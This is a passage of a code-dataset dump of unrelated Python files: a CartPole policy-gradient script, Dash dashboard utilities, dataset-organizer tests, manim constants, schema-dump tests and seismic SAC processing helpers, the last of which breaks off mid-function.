policy_gradient import PolicyGradient\nimport matplotlib.pyplot as plt\n\nDISPLAY_REWARD_THRESHOLD = 400 # renders environment if total episode reward is greater then this threshold\nRENDER = False # rendering wastes time\n\n\nenv = gym.make('CartPole-v0')\nenv.seed(1) # reproducible, general Policy gradient has high variance\nenv = env.unwrapped\n\nprint(env.action_space)\nprint(env.observation_space)\nprint(env.observation_space.high)\nprint(env.observation_space.low)\n\t\t\t\t # s_dim,\n\t\t\t\t # a_dim,\n\t\t\t\t # learning_rate = 0.01,\n\t\t\t\t # reward_decay = 0.95,\n\t\t\t\t # output_graph = False\n\nRL = PolicyGradient(\n\t\ts_dim = env.observation_space.shape[0],\n\t\ta_dim = env.action_space.n,\n\t\tlearning_rate = 0.02,\n\t\treward_decay = 0.99,\n\t\t#output_graph = True\n\t)\n\nfor i_epsiode in range(3000):\n\n\ts = env.reset()\n\twhile True:\n\t\tif RENDER: env.render()\n\n\t\ta = RL.choose_action(s)\n\t\ts_,r,done,info = env.step(a)\n\n\t\tRL.store_transition(s,a,r)\n\n\t\tif done:\n\t\t\tep_rs_sum = sum(RL.ep_rs)\n\n\t\t\tif 'running_reward' not in globals():\n\t\t\t\trunning_reward = ep_rs_sum\n\t\t\telse:\n\t\t\t\trunning_reward = running_reward * 0.99 + ep_rs_sum * 0.01\n\n\t\t\tif running_reward > DISPLAY_REWARD_THRESHOLD: RENDER = True\n\t\t\tprint('episode:',i_epsiode,\"reward:\",int(running_reward))\n\n\t\t\tvt = RL.learn()\n\n\t\t\tif i_epsiode == 0:\n\t\t\t\tplt.plot(vt)\n\t\t\t\tplt.xlabel('episode steps')\n\t\t\t\tplt.ylabel('normalized state-action value')\n\t\t\t\tplt.show()\n\t\t\tbreak\n\n\t\ts = s_\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Policy Gradient/run_CartPole.py","file_name":"run_CartPole.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"133847698","text":"import pandas as pd\r\nimport dash_html_components as html\r\nimport dash_core_components as dcc\r\nimport plotly.graph_objs as go\r\n\r\nopen_files_df = pd.read_pickle('catsweb.pickle')\r\nstepID = open_files_df['Current Step'].unique().tolist()\r\n\r\ndef Header(app):\r\n return html.Div([get_header(app), html.Br([]),])\r\n\r\n\r\ndef get_header(app):\r\n header = html.Div(\r\n [\r\n html.Div(\r\n [\r\n html.Img(\r\n src=app.get_asset_url(\"tcs-logo.png\"),\r\n className=\"logo\",\r\n ),\r\n html.Img(\r\n src=app.get_asset_url(\"jnj-logo.png\"),\r\n className=\"logo\",\r\n style={'height': '30px',\r\n 'width': 'auto',\r\n 'margin': '25px 25px',\r\n 'align': \"right\",\r\n }\r\n ),\r\n ],\r\n className=\"row\",\r\n ),\r\n html.Div(\r\n [\r\n html.Div(\r\n [html.H4(\"TATA Complaints Handling Dashboard\")],\r\n className=\"seven columns main-title\",\r\n ),\r\n ],\r\n className=\"twelve columns\",\r\n style={\"padding-left\": \"0\"},\r\n ),\r\n ],\r\n className=\"row\",\r\n )\r\n return header\r\n\r\n\r\n\r\ndef make_dash_table(dataframe):\r\n return [html.Tr([html.Th(col) for col in dataframe.columns])] + [html.Tr([html.Td(dataframe.iloc[i][col]) for col in dataframe.columns]) for i in range(len(dataframe))]\r\n\r\n\r\ndef stepCount(product, step_count_table):\r\n step_data = dict()\r\n stepID.sort()\r\n\r\n total = 0\r\n\r\n for each_step in stepID:\r\n step_count = step_count_table[step_count_table['Current Step'] == each_step]\r\n step_data.update({'Step '+str(each_step) : step_count['Current Step'].count()})\r\n\r\n for key, value in step_data.items():\r\n total += value\r\n\r\n step_data.update({'Total': total})\r\n step_data['Product'] = product\r\n #step_data.update({'Product':product})\r\n\r\n\r\n return pd.DataFrame(step_data, index=[0])\r\n\r\ndef createOpenTable(each_open_files_df):\r\n product_list = each_open_files_df['Product Line'].unique().tolist()\r\n\r\n product_tables = dict()\r\n for product in product_list:\r\n product_tables.update({product : each_open_files_df[each_open_files_df['Product Line'] == product]})\r\n\r\n\r\n open_files_dict = dict()\r\n for product, prod_df in product_tables.items():\r\n open_files_dict.update({product : stepCount(product, prod_df)})\r\n\r\n\r\n open_files_table = pd.DataFrame()\r\n for product, product_dict in open_files_dict.items():\r\n open_files_table = open_files_table.append(product_dict, ignore_index=True)\r\n \r\n\r\n #open_files_table.set_index('Product', inplace=True)\r\n cols = open_files_table.columns.tolist()\r\n cols = cols[-1:] + cols[:-1]\r\n open_files_table = open_files_table[cols]\r\n\r\n rows_list = []\r\n\r\n for each_col in cols:\r\n rows_list.append(open_files_table[each_col].sum())\r\n\r\n rows_list[0] = 'Total'\r\n\r\n open_files_table.loc[-1] = rows_list\r\n open_files_table.index = open_files_table.index+1\r\n #open_files_table = open_files_table.sort_index()\r\n\r\n return make_dash_table(open_files_table)\r\n\r\n\r\n\r\ndef RegionCount(product, product_dataframe):\r\n region_data = dict()\r\n regions = pd.read_pickle('direct_closed.pickle')['Region'].unique().tolist()\r\n\r\n total = 0\r\n\r\n for region in regions:\r\n region_count = product_dataframe[product_dataframe['Region'] == region]\r\n region_data.update({region : int(region_count['Region'].count())})\r\n\r\n for key, value in region_data.items():\r\n total += value\r\n\r\n region_data.update({'Total': total})\r\n region_data['Product'] = product\r\n\r\n return pd.DataFrame(region_data, index=[0])\r\n\r\n\r\n\r\ndef WeekCount(product, product_dataframe):\r\n index = 0\r\n total = 0\r\n week_data = dict()\r\n product_dataframe['Date Complaint Closed'] = pd.to_datetime(product_dataframe['Date Complaint Closed'])\r\n gr = product_dataframe.groupby(pd.Grouper(key='Date Complaint Closed',freq='W'))\r\n \r\n for name, group in gr:\r\n index+=1\r\n week_data.update({'Week '+str(index) : group['Complaint Number'].count()})\r\n\r\n for key, value in week_data.items():\r\n total += value\r\n\r\n week_data.update({'Total': total})\r\n week_data['Product'] = product\r\n\r\n return pd.DataFrame(week_data, index=[0])\r\n\r\n\r\ndef createClosedTable(dataframe, xaxis_type):\r\n product_list = dataframe['Product Line'].unique().tolist()\r\n\r\n product_tables = dict()\r\n for product in product_list:\r\n product_tables.update({product : dataframe[dataframe['Product Line'] == product]})\r\n\r\n cols = []\r\n\r\n closed_files_dict = dict()\r\n if xaxis_type == 'Week':\r\n for product, prod_df in product_tables.items():\r\n week_count_df = WeekCount(product, prod_df)\r\n\r\n if len(week_count_df.columns.tolist()) >= len(cols): \r\n cols = week_count_df.columns.tolist()\r\n\r\n elif len(week_count_df.columns.tolist()) < len(cols):\r\n a = cols\r\n b = set(week_count_df.columns.tolist())\r\n indexes = [i for i, item in enumerate(a) if item not in b]\r\n for i in indexes:\r\n week_count_df.insert(len(week_count_df.columns.tolist())-2, a[i], 0)\r\n\r\n\r\n closed_files_dict.update({product : week_count_df})\r\n\r\n\r\n elif xaxis_type == 'Region':\r\n for product, prod_df in product_tables.items():\r\n closed_files_dict.update({product : RegionCount(product, prod_df)})\r\n\r\n\r\n closed_files_table = pd.DataFrame()\r\n for product, product_dict in closed_files_dict.items():\r\n closed_files_table = closed_files_table.append(product_dict, ignore_index=True)\r\n\r\n cols = closed_files_table.columns.tolist()\r\n cols = cols[-1:] + cols[:-1]\r\n closed_files_table = closed_files_table[cols]\r\n\r\n rows_list = []\r\n\r\n for each_col in cols:\r\n rows_list.append(closed_files_table[each_col].sum())\r\n\r\n rows_list[0] = 'Total'\r\n\r\n closed_files_table.loc[-1] = rows_list\r\n closed_files_table.index = closed_files_table.index+1\r\n\r\n return make_dash_table(closed_files_table)\r\n\r\n\r\n\r\ndef getAgedData(dataframe):\r\n dataframe['Received date'] = pd.to_datetime(dataframe['Received date']).dt.date\r\n dataframe['Age'] = pd.datetime.now().date() - dataframe['Received date'] \r\n\r\n US_df = dataframe[dataframe['Region'] == 'USA']\r\n OUS_df = dataframe[dataframe['Region'] != 'USA']\r\n\r\n US_AGED_df = US_df[US_df['Age'] > pd.Timedelta(60,'D')]\r\n US_NON_AGED_df = US_df[US_df['Age'] <= pd.Timedelta(60,'D')]\r\n\r\n OUS_AGED_df = OUS_df[OUS_df['Age'] > pd.Timedelta(90,'D')]\r\n OUS_NON_AGED_df = OUS_df[OUS_df['Age'] <= pd.Timedelta(90,'D')]\r\n\r\n return (US_AGED_df, US_NON_AGED_df, OUS_AGED_df, OUS_NON_AGED_df)\r\n\r\ndef agedFilesPieChart(dataframe):\r\n (US_AGED_df, US_NON_AGED_df, OUS_AGED_df, OUS_NON_AGED_df) = getAgedData(dataframe)\r\n\r\n types = ['Aged', 'Non-Aged'] \r\n US_values = [US_AGED_df['Age'].count(), US_NON_AGED_df['Age'].count()]\r\n OUS_values = [OUS_AGED_df['Age'].count(), OUS_NON_AGED_df['Age'].count()]\r\n\r\n trace1 = go.Pie(\r\n labels=types,\r\n values=US_values,\r\n marker={\"colors\": [\"#264e86\", \"#0074e4\",]},\r\n )\r\n\r\n trace2 = go.Pie(\r\n labels=types,\r\n values=OUS_values,\r\n marker={\"colors\": [\"#264e86\", \"#0074e4\",]},\r\n )\r\n\r\n layout1 = dict(margin=dict(l=10, r=0, t=40, b=0,), legend=dict(orientation=\"h\"), title='US Files', height=250)\r\n layout2 = dict(margin=dict(l=10, r=0, t=40, b=0), legend=dict(orientation=\"h\"), title='OUS Files', height=250)\r\n\r\n return dict({\"data\": [trace1], \"layout\": layout1}), dict({\"data\": [trace2], \"layout\": layout2})\r\n\r\n\r\n\r\ndef openFilesGraph(dataframe, xaxis_type):\r\n x_axis_list = dataframe[xaxis_type].unique().tolist()\r\n count = []\r\n\r\n for item in x_axis_list:\r\n dff = dataframe[dataframe[xaxis_type] == item]\r\n count.append(dff[xaxis_type].count())\r\n\r\n\r\n data = [\r\n go.Bar(\r\n x=x_axis_list,\r\n y=count,\r\n marker={\r\n \"color\": \"#97151c\",\r\n \"line\": {\r\n \"color\": \"rgb(255, 255, 255)\",\r\n \"width\": 2,\r\n },\r\n },\r\n name=\"Open Files\",\r\n ),\r\n ]\r\n\r\n layout = go.Layout(\r\n autosize=False,\r\n bargap=0.35,\r\n font={\"family\": \"Raleway\", \"size\": 10},\r\n height=200,\r\n hovermode=\"closest\",\r\n legend={\r\n \"x\": -0.0228945952895,\r\n \"y\": -0.189563896463,\r\n \"orientation\": \"h\",\r\n \"yanchor\": \"top\",\r\n },\r\n margin={\r\n \"r\": 0,\r\n \"t\": 20,\r\n \"b\": 10,\r\n \"l\": 10,\r\n },\r\n showlegend=True,\r\n title=\"\",\r\n width=330,\r\n xaxis={\r\n \"autorange\": True,\r\n \"range\": [-0.5, 4.5],\r\n \"showline\": True,\r\n \"title\": \"\",\r\n \"type\": \"category\",\r\n },\r\n yaxis={\r\n \"autorange\": True,\r\n \"range\": [0, 22.9789473684],\r\n \"showgrid\": True,\r\n \"showline\": True,\r\n \"title\": \"\",\r\n \"type\": \"linear\",\r\n \"zeroline\": False,\r\n },\r\n )\r\n return dict({\"data\" : data,\"layout\" : layout})\r\n\r\n\r\n\r\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"58619773","text":"import os\nimport sys\n\ncurrent_directory = sys.path[0]\nabove_directory, current_folder_name = os.path.split(current_directory)\nsys.path.insert(1, above_directory)\n\nimport unittest\nfrom unittest.mock import Mock\nfrom unittest import TestCase, mock\n\nfrom BreakHisOrganizer import BreakHisOrganizer\nfrom ReinhardNormalizer import ReinhardNormalizer\n\n\n\n@mock.patch(\"ReinhardNormalizer.ReinhardNormalizer\")\ndef mock_ReinhardNormalizer(mock_class):\n\n print(mock_class.return_value)\n \nclass TestBreakHisOrganizer(TestCase):\n def test_if_constructible(self):\n break_his_organizer = BreakHisOrganizer('.', None, None, None, None, None)\n self.assertIsNotNone(break_his_organizer)\n \n def test_how_dataframe_is_loaded(self):\n dataset_root = 'D:/Datasets/masf_organized_breakhis_dataset/Best_after_normalization/'\n reinhard_normalizer = None\n normalization_ref_image = None\n path_extension = '*/*/*'\n image_extension = '.png'\n \n break_his_organizer_new_dataset = BreakHisOrganizer(dataset_root,\n reinhard_normalizer,\n normalization_ref_image,\n path_extension,\n image_extension)\n \n break_his_organizer_new_dataset.build_organized_dataframe()\n \n # def test_if_imwrite_is_called(self):\n # with mock.patch('BreakHisOrganizer.cv2') as mocked_cv2:\n # break_his_organizer = BreakHisOrganizer('.', None, None, None, None, None)\n # break_his_organizer.save_dataset()\n # mocked_cv2.imwrite.assert_called_once()\n \n # def test_if_Reinhard_is_injected_correctly(self):\n # with mock.patch('ReinhardNormalizer.ReinhardNormalizer') as mocked_ReinhardNormalizer:\n # break_his_organizer = BreakHisOrganizer('.', mocked_ReinhardNormalizer, None, None, None, None)\n # break_his_organizer.save_dataset()\n # mocked_ReinhardNormalizer.fit.assert_called_once()\n \n \n \n\nif __name__=='__main__':\n unittest.main()","sub_path":"Malignancy_binary_classification/breakhis_data_preparator/BreakHisOrganizer/BreakHisOrganizer_test.py","file_name":"BreakHisOrganizer_test.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"6200452","text":"import os\nimport numpy as np\n\nenv_MEDIA_DIR = None\nMEDIA_DIR = \"#ERROR#\"\n\ntry:\n env_MEDIA_DIR = os.getenv(\"MEDIA_DIR\")\nexcept NameError:\n try:\n env_MEDIA_DIR = os.environ['MEDIA_DIR']\n except KeyError:\n pass\n\nif not (env_MEDIA_DIR is None):\n MEDIA_DIR = env_MEDIA_DIR\nelif os.path.exists(\"media_dir.txt\"):\n with open(\"media_dir.txt\", 'rU') as media_file:\n MEDIA_DIR = media_file.readline().strip()\nelse:\n MEDIA_DIR = os.path.join(\n os.path.expanduser('~'),\n \"animation/manim37/output\"\n )\n\nif not os.path.exists(MEDIA_DIR):\n raise Exception(\"\"\"\n Redefine MEDIA_DIR by changing the MEDIA_DIR\n environment constant or by changing\n media_dir.txt to point to a valid directory\n where movies and images will be written\n \"\"\")\n\nwith open(\"media_dir.txt\", 'w') as media_file:\n media_file.write(MEDIA_DIR)\n#\n\nLOW_QUALITY_FRAME_DURATION = 1. / 15\nMEDIUM_QUALITY_FRAME_DURATION = 1. / 30\nPRODUCTION_QUALITY_FRAME_DURATION = 1. / 60\n\n# There might be other configuration than pixel shape later...\nPRODUCTION_QUALITY_CAMERA_CONFIG = {\n \"pixel_height\": 1440,\n \"pixel_width\": 2560,\n}\n\nHIGH_QUALITY_CAMERA_CONFIG = {\n \"pixel_height\": 1080,\n \"pixel_width\": 1920,\n}\n\nMEDIUM_QUALITY_CAMERA_CONFIG = {\n \"pixel_height\": 720,\n \"pixel_width\": 1280,\n}\n\nLOW_QUALITY_CAMERA_CONFIG = {\n \"pixel_height\": 480,\n \"pixel_width\": 854,\n}\n\nDEFAULT_PIXEL_HEIGHT = PRODUCTION_QUALITY_CAMERA_CONFIG[\"pixel_height\"]\nDEFAULT_PIXEL_WIDTH = PRODUCTION_QUALITY_CAMERA_CONFIG[\"pixel_width\"]\n\nDEFAULT_POINT_DENSITY_2D = 25\nDEFAULT_POINT_DENSITY_1D = 250\n\nDEFAULT_STROKE_WIDTH = 4\n\nFRAME_HEIGHT = 8.0\nFRAME_WIDTH = FRAME_HEIGHT * DEFAULT_PIXEL_WIDTH / DEFAULT_PIXEL_HEIGHT\nFRAME_Y_RADIUS = FRAME_HEIGHT / 2\nFRAME_X_RADIUS = FRAME_WIDTH / 2\n\nSMALL_BUFF = 0.1\nMED_SMALL_BUFF = 0.25\nMED_LARGE_BUFF = 0.5\nLARGE_BUFF = 1\n\nDEFAULT_MOBJECT_TO_EDGE_BUFFER = MED_LARGE_BUFF\nDEFAULT_MOBJECT_TO_MOBJECT_BUFFER = MED_SMALL_BUFF\n\n\n# All in seconds\nDEFAULT_ANIMATION_RUN_TIME = 1.0\nDEFAULT_POINTWISE_FUNCTION_RUN_TIME = 3.0\nDEFAULT_WAIT_TIME = 1.0\n\n\nORIGIN = np.array((0., 0., 0.))\nUP = np.array((0., 1., 0.))\nDOWN = np.array((0., -1., 0.))\nRIGHT = np.array((1., 0., 0.))\nLEFT = np.array((-1., 0., 0.))\nIN = np.array((0., 0., -1.))\nOUT = np.array((0., 0., 1.))\nX_AXIS = np.array((1., 0., 0.))\nY_AXIS = np.array((0., 1., 0.))\nZ_AXIS = np.array((0., 0., 1.))\n\n# Useful abbreviations for diagonals\nUL = UP + LEFT\nUR = UP + RIGHT\nDL = DOWN + LEFT\nDR = DOWN + RIGHT\n\nTOP = FRAME_Y_RADIUS * UP\nBOTTOM = FRAME_Y_RADIUS * DOWN\nLEFT_SIDE = FRAME_X_RADIUS * LEFT\nRIGHT_SIDE = FRAME_X_RADIUS * RIGHT\n\nPI = np.pi\nTAU = 2 * PI\nDEGREES = TAU / 360\n\nANIMATIONS_DIR = os.path.join(MEDIA_DIR, \"animations\")\nRASTER_IMAGE_DIR = os.path.join(MEDIA_DIR, \"designs\", \"raster_images\")\nSVG_IMAGE_DIR = os.path.join(MEDIA_DIR, \"designs\", \"svg_images\")\n# TODO, staged scenes should really go into a subdirectory of a given scenes directory\nSTAGED_SCENES_DIR = os.path.join(ANIMATIONS_DIR, \"staged_scenes\")\n###\nTHIS_DIR = os.path.dirname(os.path.realpath(__file__))\nFILE_DIR = os.path.join(THIS_DIR, \"files\")\nTEX_DIR = os.path.join(FILE_DIR, \"Tex\")\nTEX_IMAGE_DIR = TEX_DIR # TODO, What is this doing?\n# These two may be depricated now.\nMOBJECT_DIR = os.path.join(FILE_DIR, \"mobjects\")\nIMAGE_MOBJECT_DIR = os.path.join(MOBJECT_DIR, \"image\")\n\nfor folder in [FILE_DIR, RASTER_IMAGE_DIR, SVG_IMAGE_DIR, ANIMATIONS_DIR, TEX_DIR,\n TEX_IMAGE_DIR, MOBJECT_DIR, IMAGE_MOBJECT_DIR,\n STAGED_SCENES_DIR]:\n if not os.path.exists(folder):\n os.makedirs(folder)\n\nTEX_TEXT_TO_REPLACE = \"YourTextHere\"\nTEMPLATE_TEX_FILE = os.path.join(THIS_DIR, \"tex_template.tex\")\nwith open(TEMPLATE_TEX_FILE, \"r\") as infile:\n TEMPLATE_TEXT_FILE_BODY = infile.read()\n TEMPLATE_TEX_FILE_BODY = TEMPLATE_TEXT_FILE_BODY.replace(\n TEX_TEXT_TO_REPLACE,\n \"\\\\begin{align*}\" + TEX_TEXT_TO_REPLACE + \"\\\\end{align*}\",\n )\n\nFFMPEG_BIN = \"ffmpeg\"\n\n\n# Colors\n\nCOLOR_MAP = {\n \"DARK_BLUE\": \"#236B8E\",\n \"DARK_BROWN\": \"#8B4513\",\n \"LIGHT_BROWN\": \"#CD853F\",\n \"BLUE_E\": \"#1C758A\",\n \"BLUE_D\": \"#29ABCA\",\n \"BLUE_C\": \"#58C4DD\",\n \"BLUE_B\": \"#9CDCEB\",\n \"BLUE_A\": \"#C7E9F1\",\n \"TEAL_E\": \"#49A88F\",\n \"TEAL_D\": \"#55C1A7\",\n \"TEAL_C\": \"#5CD0B3\",\n \"TEAL_B\": \"#76DDC0\",\n \"TEAL_A\": \"#ACEAD7\",\n \"GREEN_E\": \"#699C52\",\n \"GREEN_D\": \"#77B05D\",\n \"GREEN_C\": \"#83C167\",\n \"GREEN_B\": \"#A6CF8C\",\n \"GREEN_A\": \"#C9E2AE\",\n \"YELLOW_E\": \"#E8C11C\",\n \"YELLOW_D\": \"#F4D345\",\n \"YELLOW_C\": \"#FFFF00\",\n \"YELLOW_B\": \"#FFEA94\",\n \"YELLOW_A\": \"#FFF1B6\",\n \"GOLD_E\": \"#C78D46\",\n \"GOLD_D\": \"#E1A158\",\n \"GOLD_C\": \"#F0AC5F\",\n \"GOLD_B\": \"#F9B775\",\n \"GOLD_A\": \"#F7C797\",\n \"RED_E\": \"#CF5044\",\n \"RED_D\": \"#E65A4C\",\n \"RED_C\": \"#FC6255\",\n \"RED_B\": \"#FF8080\",\n \"RED_A\": \"#F7A1A3\",\n \"MAROON_E\": \"#94424F\",\n \"MAROON_D\": \"#A24D61\",\n \"MAROON_C\": \"#C55F73\",\n \"MAROON_B\": \"#EC92AB\",\n \"MAROON_A\": \"#ECABC1\",\n \"PURPLE_E\": \"#644172\",\n \"PURPLE_D\": \"#715582\",\n \"PURPLE_C\": \"#9A72AC\",\n \"PURPLE_B\": \"#B189C6\",\n \"PURPLE_A\": \"#CAA3E8\",\n \"WHITE\": \"#FFFFFF\",\n \"BLACK\": \"#000000\",\n \"LIGHT_GRAY\": \"#BBBBBB\",\n \"LIGHT_GREY\": \"#BBBBBB\",\n \"GRAY\": \"#888888\",\n \"GREY\": \"#888888\",\n \"DARK_GREY\": \"#444444\",\n \"DARK_GRAY\": \"#444444\",\n \"GREY_BROWN\": \"#736357\",\n \"PINK\": \"#D147BD\",\n \"GREEN_SCREEN\": \"#00FF00\",\n \"ORANGE\": \"#FF862F\",\n\n \"POPPING_TEAL\": \"#00FFFF\",\n\n \"SKINCOLOR_A\": \"#FAEBD7\",\n \"SKINCOLOR_B\": \"#FFE4C4\",\n \"SKINCOLOR_C\": \"#FFEBCD\",\n \"SKINCOLOR_D\": \"#DEB887\",\n \"SKINCOLOR_E\": \"#CD853F\",\n\n \"RED_A\": \"#FF0000\",\n \"RED_B\": \"#FF9999\",\n \"RED_C\": \"#FF0066\",\n\n \"PINK_A\": \"#DC143C\",\n \"PINK_B\": \"#F08080\",\n \"PINK_C\": \"#FFB6C1\",\n \"PINK_D\": \"#FFE4E1\",\n \"PINK_E\": \"#FFCCCC\",\n \"PINK_F\": \"#FFC0CB\",\n \"PINK_G\": \"#DB7093\",\n\n \"ORANGE_FALL\": \"#FF8000\",\n \"ORANGE_A\": \"#FF9900\",\n \"ORANGE_B\": \"#FFCC80\",\n \"ORANGE_C\": \"#FFEBCC\",\n\n \"GREEN_LIME_A\": \"#AAFF00\",\n \"GREEN_LIME_B\": \"#CCFF33\",\n \"GREEN_SHERBET\": \"#DDFF99\",\n \"GREEN_PASTEL\": \"#8CD9B3\",\n\n \"BLUE_A\": \"#0080FF\",\n \"BLUE_B\": \"#66B3FF\",\n \"BLUE_C\": \"#CCE6FF\",\n \"BLUE_NAVY\": \"#4080BF\",\n \"BLUE_SKY\": \"#66CCFF\",\n \"BLUE_CLOUD\": \"#9FBFDF\",\n \"BLUE_CLOUD_LIGHT\": \"#D9E6F2\",\n \"BLUE_NEON\": \"#80FFFF\",\n\n \"TEAL_A\": \"#33CCCC\",\n \"TEAL_B\": \"#ADEBEB\",\n\n \"PURPLE\": \"#993366\",\n \"PURPLE_LIGHT_A\": \"#BF4080\",\n \"PURPLE_LIGHT_B\": \"#E6B3CC\",\n \"PURPLE_LAVENDER\": \"#CC99FF\",\n \"MEDIUM_ORCHID\": \"#BA55D3\",\n\n \"GRAY_DARK\": \"#808080\",\n \"GRAY_LIGHT\": \"#A9A9A9\",\n \"GRAY_LIGHTER\": \"#DCDCDC\",\n \"GRAY_DARK_CLOUD\": \"#708090\",\n\n \"BROWN_MAHAGONY\": \"#6C463D\",\n \"BROWN_DARK_MAHAGONY\": \"#50322B\",\n\n \"HOT_PINK\": \"#FF69B4\",\n \"DEEP_PINK\": \"\t#FF1493\",\n \"DARK_MAGENTA\": \"#8B008B\",\n \"DARK_ORANGE\": \"#FF8C00\",\n \"GOLD\": \"#FFD700\",\n \"YELLOW_GREEN\": \"#9ACD32\",\n \"LIGHT_SEA_GREEN\": \"#20B2AA\",\n \"STEEL_BLUE\": \"#4682B4\",\n \"LIGHT_SKY_BLUE\": \"#87CEFA\",\n \"CORN_FLOWER_BLUE\": \"#6495ED\",\n \"DEEP_SKY_BLUE\": \"#00BFFF\",\n \"DODGER_BLUE\": \"#1E90FF\",\n \"CORNSILK\": \"#FFF8DC\",\n \"ANTIQUE_WHITE\": \"#FAEBD7\",\n \"YELLOW\": \"#FFFF00\",\n \"KHAKI\": \"#F0E68C\",\n \"LEMON_CHIFFON\": \"#FFFACD\",\n \"LIGHT_YELLOW\": \"#FFFFE0\",\n\n\n\n \"Living_Room_Floor_1\": \"#F0F0F0\",\n\n\n \"Living_Room_Wall_2\": \"#F5F5F5\",\n \"Living_Room_Wall_1\": \"#E8E8E8\",\n\n \"Rug_1\": \"#c0c0c0\",\n \"Rug_2\": \"#808080\",\n\n \"Table_1\": \"#86592d\",\n \"Table_2\": \"#392714\",\n \"TV_Table_1\": \"#86592d\",\n \"TV_Table_2\": \"#392714\",\n\n \"DOOR1\": \"#AFEEEE\",\n \"DOOR2\": \"#48D1CC\"\n\n}\nPALETTE = list(COLOR_MAP.values())\nlocals().update(COLOR_MAP)\nfor name in [s for s in list(COLOR_MAP.keys()) if s.endswith(\"_C\")]:\n locals()[name.replace(\"_C\", \"\")] = locals()[name]\n","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":7795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"432096936","text":"from opengever.base.schemadump.config import SCHEMA_DUMPS_DIR\nfrom opengever.base.schemadump.schema import build_all_bundle_schemas\nfrom opengever.base.schemadump.schema import build_all_gever_schemas\nfrom opengever.testing import IntegrationTestCase\nfrom os.path import join as pjoin\nfrom os.path import normpath\nfrom pkg_resources import resource_filename\nimport json\n\n\nclass TestCheckedInSchemaDumpsAreUpToDate(IntegrationTestCase):\n\n maxDiff = None\n\n @property\n def og_core_package_path(self):\n return normpath(pjoin(resource_filename('opengever.core', ''), '..', '..')) # noqa\n\n @property\n def schema_dumps_dir(self):\n return pjoin(self.og_core_package_path, SCHEMA_DUMPS_DIR)\n\n @property\n def oggbundle_schema_dumps_dir(self):\n return pjoin(resource_filename('opengever.bundle', 'schemas/'))\n\n def test_schema_dumps_for_api(self):\n for filename, current_schema in build_all_gever_schemas():\n dump_path = pjoin(self.schema_dumps_dir, filename)\n\n with open(dump_path) as dump_file:\n existing_schema = json.load(dump_file)\n\n # Shove schema through dump / load in order to get rid of\n # OrderedDicts and get better diffability\n current_schema = json.loads(json.dumps(current_schema.serialize()))\n\n self.assertDictEqual(\n existing_schema,\n current_schema,\n '\\n\\nError: JSON schema dumps for %s have changed '\n '(see diff above), please run bin/instance dump_schemas and '\n 'commit the modified schema files together with '\n 'your changes.' % dump_path)\n\n def test_schema_dumps_for_oggbundles(self):\n for filename, current_schema in build_all_bundle_schemas():\n dump_path = pjoin(self.oggbundle_schema_dumps_dir, filename)\n\n with open(dump_path) as dump_file:\n existing_schema = json.load(dump_file)\n\n self.assertDictEqual(\n existing_schema,\n current_schema.serialize(),\n '\\n\\nError: JSON schema dumps for %s have changed '\n '(see diff above), please run bin/instance dump_schemas and '\n 'commit the modified schema files together with '\n 'your changes.' % dump_path)\n","sub_path":"opengever/base/schemadump/tests/test_schemadumps.py","file_name":"test_schemadumps.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"126648721","text":"import os\nfrom obspy import read, UTCDateTime\nimport subprocess\nos.putenv(\"SAC_DISPLAY_COPYRIGHT\", '0')\n\ndef cut(fpath, b, e, outpath, fillz=False):\n p = subprocess.Popen(['sac'], stdin=subprocess.PIPE)\n s = \"wild echo off \\n\"\n if fillz: s += \"cuterr fillz \\n\"\n s += \"cut %s %s \\n\" %(b, e)\n s += \"r %s \\n\" %(fpath)\n s += \"ch allt (0-&1,b&) iztype IB \\n\"\n s += \"w %s \\n\" %(outpath)\n s += \"q \\n\"\n p.communicate(s.encode())\n\n\ndef obspy_trim(stream, t0, t1, zfill=False):\n if not zfill: st = stream.copy().trim(t0, t1)\n if zfill: st = stream.copy().trim(t0, t1, pad=True, fill_value=0)\n for tr in st:\n tr.stats.sac.nzyear = t0.year\n tr.stats.sac.nzjday = t0.julday\n tr.stats.sac.nzhour = t0.hour\n tr.stats.sac.nzmin = t0.minute\n tr.stats.sac.nzsec = t0.day\n tr.stats.sac.nzmsec = t0.microsecond / 1e3\n return st\n\n\ndef obspy_slice(stream, t0, t1):\n st = stream.slice(t0, t1)\n for tr in st:\n tr.stats.sac.nzyear = t0.year\n tr.stats.sac.nzjday = t0.julday\n tr.stats.sac.nzhour = t0.hour\n tr.stats.sac.nzmin = t0.minute\n tr.stats.sac.nzsec = t0.day\n tr.stats.sac.nzmsec = t0.microsecond / 1e3\n return st\n\n\ndef merge(fpaths, out_path):\n num_files = len(fpaths)\n if num_files==0: return\n if num_files==1: os.rename(fpaths[0], out_path); return\n p = subprocess.Popen(['sac'], stdin=subprocess.PIPE)\n s = \"wild echo off \\n\"\n print('merge sac files to {}'.format(out_path))\n if num_files<1000:\n for i,fpath in enumerate(fpaths):\n if i==0: s += \"r %s \\n\" %(fpath)\n else: s += \"r more %s \\n\" %(fpath)\n s += \"merge g z o a \\n\"\n s += \"w %s \\n\" %(out_path)\n else:\n os.rename(fpaths[0], 'tmp.sac')\n num_batch = 1 + (num_files-2)//999\n for idx in range(num_batch):\n # read one batch (1000 files)\n s += \"r tmp.sac \\n\"\n for fpath in fpaths[1+idx*999:1+(idx+1)*999]:\n s += \"r more %s \\n\" %(fpath)\n # merge batch to tmp sac\n s += \"merge g z o a \\n\"\n s += \"w tmp.sac \\n\"\n os.rename('tmp.sac', out_path)\n s += \"q \\n\"\n p.communicate(s.encode())\n\n\ndef ch_sta(fpath, knetwk=None, kstnm=None, kcmpnm=None, stlo=0, stla=0, stel=0):\n p = subprocess.Popen(['sac'], stdin=subprocess.PIPE)\n s = \"wild echo off \\n\"\n print('change station header 